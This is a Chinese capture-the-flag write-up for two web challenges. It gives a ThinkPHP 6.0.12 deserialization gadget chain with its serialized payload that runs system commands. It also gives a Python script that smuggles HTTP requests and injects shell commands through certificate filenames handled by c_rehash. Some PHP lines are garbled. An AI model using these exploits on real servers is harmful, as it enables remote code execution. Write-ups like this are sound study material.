国赛wp-Web

2023-05-17 11:07:57 浏览数 (1)

国赛wp-Web

又是被摁chui的一天,不过最大的遗憾是队友re爷lu1u最后估计是迟了一两秒没交上两百多分的babycode和PWN学弟caffeine与一道两百多分的pwn之间的一步之遥

Web第一题白给,直接搜tp版本漏洞就有poc; 第二题扫出个.DS_Store不过php文件却下载不下来,因为有个Someclass.php结合使用的是CL框架所以感觉可能是个的反序列化或者sql注入的题,不过看了半天也不知道要干嘛就没做了; 第三题有点坑,不知道是编码还是什么问题,经常执行任务出错带给我很多误导,人都麻了,比赛结束才出,但是并没有什么用; 最后一个第四题是个在内网curl的elf也没做出来,只能说最大的感受就是以后要分几步执行的题目再也不要人工手动活了~~~

虽然比赛被锤但是也学到一些东西,太cai了仍需努力吧只能说

WEB

Ezpop

dirsearch.py扫到www.zip,下载获得源码

在Index控制器有一个反序列化入口,结合题目描述直接搜索当前Thinkphp的版本(V6.0.12LTS)漏洞,直接在找到反序列化RCE的POC:https://www.freebuf.com/vuls/321546.html

代码语言:javascript复制
<?php
namespace think{
    abstract class Model{
        private lazySave = false;
        privatedata = [];
        private exists = false;
        protectedtable;
        private withAttr = [];
        protectedjson = [];
        protected jsonAssoc = false;
        function __construct(obj = ''){
            this->lazySave = True;
//this->data = ['xxx' => ['dir']];
            this->data = ['xxx' => ['cat /flag*']];this->exists = True;
            this->table =obj;
            this->withAttr = ['xxx' => ['system']];this->json = ['xxx',['xxx']];
            $this->jsonAssoc = True;
        }
    }
}
namespace thinkmodel{
    use thinkModel;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode(serialize(new thinkmodelPivot(new thinkmodelPivot()))));
}

直接复制到页面反序列化获得flag

代码语言:javascript复制
/index.php/index/test 或 /index.php?s=index/test

post:
O:17:"thinkmodelPivot":7:{s:21:"thinkModellazySave";b:1;s:17:"thinkModeldata";a:1:{s:3:"xxx";a:1:{i:0;s:10:"cat /flag*";}}s:19:"thinkModelexists";b:1;s:8:"*table";O:17:"thinkmodelPivot":7:{s:21:"thinkModellazySave";b:1;s:17:"thinkModeldata";a:1:{s:3:"xxx";a:1:{i:0;s:10:"cat /flag*";}}s:19:"thinkModelexists";b:1;s:8:"*table";s:0:"";s:21:"thinkModelwithAttr";a:1:{s:3:"xxx";a:1:{i:0;s:6:"system";}}s:7:"*json";a:2:{i:0;s:3:"xxx";i:1;a:1:{i:0;s:3:"xxx";}}s:12:"*jsonAssoc";b:1;}s:21:"thinkModelwithAttr";a:1:{s:3:"xxx";a:1:{i:0;s:6:"system";}}s:7:"*json";a:2:{i:0;s:3:"xxx";i:1;a:1:{i:0;s:3:"xxx";}}s:12:"*jsonAssoc";b:1;}

online_crt

题目直接给了源码,一个golang内网服务修改文件名,python服务负责生成cert文件和向golang服务代理发送修改文件请求并且可以列出/app/static/crt目录

  1. 访问/getrct生成秘钥文件并且返回文件名
  2. 访问/createlink查看生成秘钥文件的目录
  3. 访问/proxy向golang服务发送http走私请求修改文件名
  4. 再次访问/createlink触发脚本执行c_rehash

漏洞出在c_rehash

这里的文件名$fname就是/app/static/crt目录下的xxx.cert文件,在这里可以进行命令注入

当文件名为";ls > 1.txt;"1.cert的时候就会出现命令注入执行ls > 1.txt

构造poc如下即可执行命令:

注: docker中无curl所以不能通过curl外带flag,这里应该执行cp /flag flag.txt在将/flag复制到当前目录下的/app/static/crt/flag.txt然后直接访问http://xxx/static/crt/flag.txt下载文件即可获得flag(离谱的是比赛的时候将base64解码后的数据交给bash执行有时候可以有时候不行还没写脚本太折磨人了)

代码语言:javascript复制
import base64
import urllib.parse
import requests

def getrct():
    print("getrct")
    requests.get(url   "/getcrt", headers={"Content-Type": "application/x-www-form-urlencoded"},data="Country=CN&Province=a&City=a&OrganizationalName=a&CommonName=a&EmailAddress=a@gmail.com&submit=").text
    return

def createlink():
    print("createlink")
    getrct()
    text=requests.get(url   "/createlink").json()["info"]
    for i in text.split("n"):
        if ".crt" == i[-4::]:
            # print(i)
            return i
def listdir():
    print("check")
    return requests.get(url   "/createlink").json()["info"]

def geturi():
    uri = urllib.parse.quote(
    f"""/admin/rename?newname=1.cert";{getcmd()};"1.cert&oldname={createlink()} HTTP/1.1
Host: admin
User-Agent: admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

GET /""")
    return uri

def getcmd():
    cmd=("touch `echo "   base64.b64encode(input("cmd#").encode()).decode()   "|base64 -d|bash`").replace(" ", " ")
    print(cmd)
    return cmd

while 1:
    try:
        url = f"http://eci-2zeh4pj6hmpg0uiwjwvb.cloudeci1.ichunqiu.com:8888"
        uri=geturi()
        print(urllib.parse.unquote(uri))
        text = requests.get(url   "/proxy", headers={"Content-Type": "application/x-www-form-urlencoded"},
                            data="uri="   uri).text
        for i in listdir().split("n"):
            if not (len(i) == len("3da8d45e.2") and "." in i):
                print(i)
    except Exception as e:
        print(e)

0 人点赞